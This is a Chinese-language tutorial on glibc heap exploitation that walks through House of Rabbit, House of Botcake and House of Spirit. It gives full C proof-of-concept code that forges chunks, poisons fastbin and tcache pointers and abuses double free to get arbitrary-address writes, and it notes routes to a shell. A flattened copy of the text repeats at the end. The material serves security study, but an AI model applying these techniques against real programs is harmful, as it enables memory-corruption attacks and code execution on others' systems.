House of 系列堆漏洞详解(二)
字数 2174 2025-08-24 16:48:07

House of 系列堆漏洞详解(二)

House of Rabbit

原理

House of Rabbit是一种利用堆管理机制实现任意地址分配的漏洞利用技术。当程序满足以下三个条件时可以利用:

  1. 可以分配任意大小的堆块并且释放,主要包括三类:

    • fastbin大小的堆块
    • smallbin大小的堆块
    • 较大的堆块(用于分配到任意地址处)
  2. 存在一块已知地址的内存空间,并可以任意写至少0x20长度的字节

  3. 存在fastbin dup、UAF等漏洞,用于劫持fastbin的fd指针

利用流程

  1. 扩大top chunk的size

    • 通过连续malloc然后free两次超大chunk(如0xa00000),会扩大top chunk的size
  2. 构造fake chunk

    • 在可控内存处伪造两个chunk:
      • 一个大小为0x11,用于绕过检查
      • 一个为0xfffffffffffffff1,保证可覆盖任意地址并设置了inuse位
  3. 链接fake chunk

    • 利用其他漏洞将0xfffffffffffffff1大小的fake chunk链接到fastbin链表
    • free触发malloc_consolidate,用于对fastbin合并,并放到unsorted bin中
  4. 分配任意地址

    • 申请一个超大chunk,0xfffffffffffffff1大小的fake chunk会链接到largebin
    • 最后申请任意长度的地址,使堆块地址上溢到当前堆地址的低地址位置

PoC代码分析

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void evict_tcache(size_t size);

char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};

int main(void){
    void *p, *fast, *small, *fake;
    char *victim;
    
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    
    printf("House of Rabbit Poc\n\n");
    printf("0. 关闭0x20,0x90 chunks的tcache (glibc version >= 2.26)\n\n");
    evict_tcache(0x18);
    evict_tcache(0x88);
    
    printf("1. 'av->system_mem > 0xa00000'\n");
    p = malloc(0xa00000);
    printf(" 在%p通过mmap申请0xa00000 byte大小的内存, 然后free.\n", p);
    free(p);
    p = malloc(0xa00000);
    printf(" 在%p通过mmap申请0xa00000 byte大小的内存, 然后free.\n", p);
    free(p);
    printf(" 'av->system_mem'将会比0xa00000大.\n\n");
    
    printf("2. Free fast chunk插入fastbins链表\n");
    fast = malloc(0x18);
    small = malloc(0x88);
    printf(" 申请fast chunk和small chunk.\n"
           " fast = %p\n"
           " small = %p\n", fast, small);
    free(fast);
    printf(" Free fast chunk.\n\n");
    
    printf("3. 在.bss构造fake_chunk\n");
    gbuf[0] = 0xfffffffffffffff0;
    gbuf[1] = 0x10;
    gbuf[3] = 0x21;
    gbuf[7] = 0x1;
    printf(" fake_chunk1 (size: 0x%lx) is at %p\n"
           " fake_chunk2 (size: 0x%lx) is at %p\n\n",
           gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);
    fake = &gbuf[2];
    
    printf("漏洞利用(UAF,fastbins dup等)\n"
           "*fast = %p\n", fake);
    *(unsigned long**)fast = fake;
    printf(" fastbins list: [%p, %p, %p]\n\n",
           fast-0x10, fake, *(void**)(fake+0x10));
    
    printf("4. 调用malloc_consolidate\n"
           " Free和top相邻的small chunk(%p),将fake_chunk1(%p)插入unsorted bins链表.\n\n",
           small, fake);
    free(small);
    
    printf("5. 将unsorted bins链接到合适的链表\n"
           " 将fake_chunk1的size重写为0xa0001来绕过'size < av->system_mem'检查.\n");
    gbuf[3] = 0xa00001;
    malloc(0xa00000);
    printf(" 申请一个超大chunk.\n"
           " 现在,fake_chunk1会链接到largebin[126](max).\n"
           " 然后,将fake_chunk1的size改为0xfffffffffffffff1.\n\n");
    gbuf[3] = 0xfffffffffffffff1;
    
    printf("6. 覆写.data段上的目标值\n"
           " 目标值位于%p\n"
           " 覆写之前是: %s\n", &target, target);
    malloc((void*)&target - (void*)(gbuf+2) - 0x20);
    victim = malloc(0x10);
    printf(" 在%p申请0x10 byte,然后任意写入.\n", victim);
    strcpy(victim, "Hacked!!");
    printf(" 覆写之后是: %s\n", target);
}

关键步骤分析

  1. 扩大system_mem

    p = malloc(0xa00000);
    free(p);
    p = malloc(0xa00000);
    free(p);
    

    这会使得av->system_mem大于0xa00000

  2. 构造fake chunk

    gbuf[0] = 0xfffffffffffffff0;
    gbuf[1] = 0x10;
    gbuf[3] = 0x21;
    gbuf[7] = 0x1;
    

    在.bss段构造了两个fake chunk

  3. 劫持fastbin

    *(unsigned long**)fast = fake;
    

    将fastbin的fd指针指向fake chunk

  4. 触发合并

    free(small);
    

    释放与top相邻的small chunk触发malloc_consolidate

  5. 修改size并分配

    gbuf[3] = 0xa00001;
    malloc(0xa00000);
    gbuf[3] = 0xfffffffffffffff1;
    

    修改fake chunk的size使其进入largebin

  6. 任意地址写

    malloc((void*)&target - (void*)(gbuf+2) - 0x20);
    victim = malloc(0x10);
    strcpy(victim, "Hacked!!");
    

    最终实现任意地址写

Glibc 2.26+的绕过

从Glibc2.26开始加入了tcache,可通过以下代码绕过:

void evict_tcache(size_t size){
    void *p;
#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
    p = malloc(size);
#if (GLIBC_VERSION < 29)
    free(p);
    free(p);
    malloc(size);
    malloc(size);
    *(void**)p = NULL;
    malloc(size);
#else
#if (GLIBC_VERSION == 29)
    char *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
    uint16_t *counts = (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
    counts[(size+0x10>>4)-2] = 0xff;
#endif
#endif
}

利用思路

House of Rabbit漏洞可以绕过堆块的地址随机化保护(ASLR)达到任意地址分配的效果,因此在存在sh的文件中可直接getshell。

House of Botcake

原理

House of botcake利用手法只需要程序存在double free即可。主要步骤:

  1. 填充tcache bin链表
  2. 使用malloc从tcache bin链表中取出一个chunk
  3. 通过二次free将victim chunk加入tcache bin链表
  4. 利用堆块重叠将double free块的fd指针覆写为目标位置
  5. 再次malloc即可控制到目标位置,达到任意写操作

PoC代码分析

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main(){
    puts("House of botcake Poc\n\n");
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    
    // 准备目标
    intptr_t stack_var[4];
    printf("目标地址是%p.\n\n", stack_var);
    
    puts("堆布局构造");
    puts("申请7个chunks(malloc(0x100))用于稍后填充tcache bin链表.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    
    puts("为之后的合并申请一个prev chunk");
    intptr_t *prev = malloc(0x100);
    
    puts("申请用于double free的victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\n", a);
    
    puts("申请一个填充chunk防止top chunk合并.\n");
    malloc(0x10);
    
    puts("接下来可以造成堆块重叠");
    puts("Step 1: 填充tcache bin链表");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    
    puts("Step 2: free victim chunk并链接到unsorted bin");
    free(a);
    
    puts("Step 3: free prev chunk使它和victim chunk合并.");
    free(prev);
    
    puts("Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将victim chunk加入tcache bin链表\n");
    malloc(0x100);
    free(a);
    
    puts("double free利用完成\n\n");
    puts("tcache毒化");
    puts("现在victim chunk被包含在一个更大的已释放块中,可以通过利用块重叠进行tcache毒化");
    intptr_t *b = malloc(0x120);
    puts("将victim chunk的fd指针覆写为目标位置");
    b[0x120/8-2] = (long)stack_var;
    
    puts("malloc申请到目标位置.");
    malloc(0x100);
    intptr_t *c = malloc(0x100);
    printf("新申请的chunk位于%p\n", c);
    assert(c == stack_var);
    printf("已控制目标位置!\n\n");
    return 0;
}

关键步骤分析

  1. 堆布局构造

    • 申请7个chunk填充tcache
    • 申请prev chunk和victim chunk
    • 申请一个填充chunk防止top chunk合并
  2. 填充tcache

    for(int i=0; i<7; i++){
        free(x[i]);
    }
    

    填满tcache bin

  3. 释放victim chunk

    free(a);
    

    victim chunk进入unsorted bin

  4. 合并chunk

    free(prev);
    

    prev chunk和victim chunk合并

  5. double free

    malloc(0x100);
    free(a);
    

    从tcache取出一个chunk后,再次free victim chunk实现double free

  6. tcache毒化

    b[0x120/8-2] = (long)stack_var;
    

    利用堆块重叠修改fd指针

  7. 分配目标地址

    malloc(0x100);
    c = malloc(0x100);
    

    最终分配到目标地址

利用思路

该利用可以bypass double free的check,达到任意地址写,测试发现glibc2.30版本也可以利用。

House of Spirit

原理

通过伪造fastbin,再将一个目前可用的chunk的指针改写为伪造fastbin地址,将这个chunk free,相当于free一个假的fastbin堆块,然后再下次malloc的时候就会返回该假堆块。

PoC代码分析

#include <stdio.h>
#include <stdlib.h>

int main(){
    fprintf(stderr, "House of Spirit Poc\n\n");
    fprintf(stderr, "Step1: malloc初始化堆内存\n\n");
    malloc(1);
    
    fprintf(stderr, "Step2: 覆盖一个堆指针指向伪造的fastbin区域\n");
    unsigned long long *a;
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
    
    fprintf(stderr, "\t这片区域(长度为:%lu)包含两个fake chunk.\n", sizeof(fake_chunks));
    fprintf(stderr, "\t第一个fake chunk位于%p\n", &fake_chunks[1]);
    fprintf(stderr, "\t第二个fake chunk位于%p\n", &fake_chunks[9]);
    
    fake_chunks[1] = 0x40;
    fprintf(stderr, "\t第二个fake chunk的size必须大于2*SIZE_SZ(x64上>16) && 小于av->system_mem,用于绕过nextsize检查\n");
    fake_chunks[9] = 0x1234; // nextsize
    
    fprintf(stderr, "\t覆盖堆指针指向第一个fake chunk%p\n\n", &fake_chunks[1]);
    a = &fake_chunks[2];
    
    fprintf(stderr, "Step3: free被覆盖堆指针的堆\n\n");
    free(a);
    
    fprintf(stderr, "Step4: malloc申请到fake chunk\n");
    fprintf(stderr, "\t再次malloc将会在%p返回fake chunk%p\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "\tmalloc(0x30): %p\n", malloc(0x30));
}

关键步骤分析

  1. 初始化堆内存

    malloc(1);
    
  2. 构造fake chunk

    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
    fake_chunks[1] = 0x40;
    fake_chunks[9] = 0x1234;
    

    构造两个fake chunk,设置合理的size

  3. 覆盖指针

    a = &fake_chunks[2];
    

    将指针指向fake chunk

  4. free伪造的chunk

    free(a);
    

    将fake chunk加入fastbin

  5. 分配fake chunk

    malloc(0x30);
    

    最终分配到fake chunk

tcache版本

glibc2.26之后加入了tcache机制,tcache在提高内存管理效率的同时,安全性有所下降。tcache house of spirit只需伪造一个size区域,然后将伪造的fake chunk释放,再次malloc相应大小就可以得到fake_chunk。

利用思路

house_of_spirit可以进行任意地址写,可以改写为system直接getshell,也可以进一步利用。

总结

House of系列堆漏洞的分析展示了多种堆利用技术。在glibc版本不断升级的同时,堆内的一些保护不断完善,但与此同时,像tcache这样的新增技术也暴露出新的漏洞。在后期的漏洞挖掘中,对这些新技术的漏洞挖掘应该更加重视。

House of 系列堆漏洞详解(二) House of Rabbit 原理 House of Rabbit是一种利用堆管理机制实现任意地址分配的漏洞利用技术。当程序满足以下三个条件时可以利用: 可以分配任意大小的堆块并且释放,主要包括三类: fastbin大小的堆块 smallbin大小的堆块 较大的堆块(用于分配到任意地址处) 存在一块已知地址的内存空间,并可以任意写至少0x20长度的字节 存在fastbin dup、UAF等漏洞,用于劫持fastbin的fd指针 利用流程 扩大top chunk的size : 通过连续malloc然后free两次超大chunk(如0xa00000),会扩大top chunk的size 构造fake chunk : 在可控内存处伪造两个chunk: 一个大小为0x11,用于绕过检查 一个为0xfffffffffffffff1,保证可覆盖任意地址并设置了inuse位 链接fake chunk : 利用其他漏洞将0xfffffffffffffff1大小的fake chunk链接到fastbin链表 free触发malloc_ consolidate,用于对fastbin合并,并放到unsorted bin中 分配任意地址 : 申请一个超大chunk,0xfffffffffffffff1大小的fake chunk会链接到largebin 最后申请任意长度的地址,使堆块地址上溢到当前堆地址的低地址位置 PoC代码分析 关键步骤分析 扩大system_ mem : 这会使得 av->system_mem 大于0xa00000 构造fake chunk : 在.bss段构造了两个fake chunk 劫持fastbin : 将fastbin的fd指针指向fake chunk 触发合并 : 释放与top相邻的small chunk触发malloc_ consolidate 修改size并分配 : 修改fake chunk的size使其进入largebin 任意地址写 : 最终实现任意地址写 Glibc 2.26+的绕过 从Glibc2.26开始加入了tcache,可通过以下代码绕过: 利用思路 House of Rabbit漏洞可以绕过堆块的地址随机化保护(ASLR)达到任意地址分配的效果,因此在存在sh的文件中可直接getshell。 House of Botcake 原理 House of botcake利用手法只需要程序存在double free即可。主要步骤: 填充tcache bin链表 使用malloc从tcache bin链表中取出一个chunk 通过二次free将victim chunk加入tcache bin链表 利用堆块重叠将double free块的fd指针覆写为目标位置 再次malloc即可控制到目标位置,达到任意写操作 PoC代码分析 关键步骤分析 堆布局构造 : 申请7个chunk填充tcache 申请prev chunk和victim chunk 申请一个填充chunk防止top chunk合并 填充tcache : 填满tcache bin 释放victim chunk : victim chunk进入unsorted bin 合并chunk : prev chunk和victim chunk合并 double free : 从tcache取出一个chunk后,再次free victim chunk实现double free tcache毒化 : 利用堆块重叠修改fd指针 分配目标地址 : 最终分配到目标地址 利用思路 该利用可以bypass double free的check,达到任意地址写,测试发现glibc2.30版本也可以利用。 House of Spirit 原理 通过伪造fastbin,再将一个目前可用的chunk的指针改写为伪造fastbin地址,将这个chunk free,相当于free一个假的fastbin堆块,然后再下次malloc的时候就会返回该假堆块。 PoC代码分析 关键步骤分析 初始化堆内存 : 构造fake chunk : 构造两个fake chunk,设置合理的size 覆盖指针 : 将指针指向fake chunk free伪造的chunk : 将fake chunk加入fastbin 分配fake chunk : 最终分配到fake chunk tcache版本 glibc2.26之后加入了tcache机制,tcache在提高内存管理效率的同时,安全性有所下降。tcache house of spirit只需伪造一个size区域,然后将伪造的fake chunk释放,再次malloc相应大小就可以得到fake_ chunk。 利用思路 house_ of_ spirit可以进行任意地址写,可以改写为system直接getshell,也可以进一步利用。 总结 House of系列堆漏洞的分析展示了多种堆利用技术。在glibc版本不断升级的同时,堆内的一些保护不断完善,但与此同时,像tcache这样的新增技术也暴露出新的漏洞。在后期的漏洞挖掘中,对这些新技术的漏洞挖掘应该更加重视。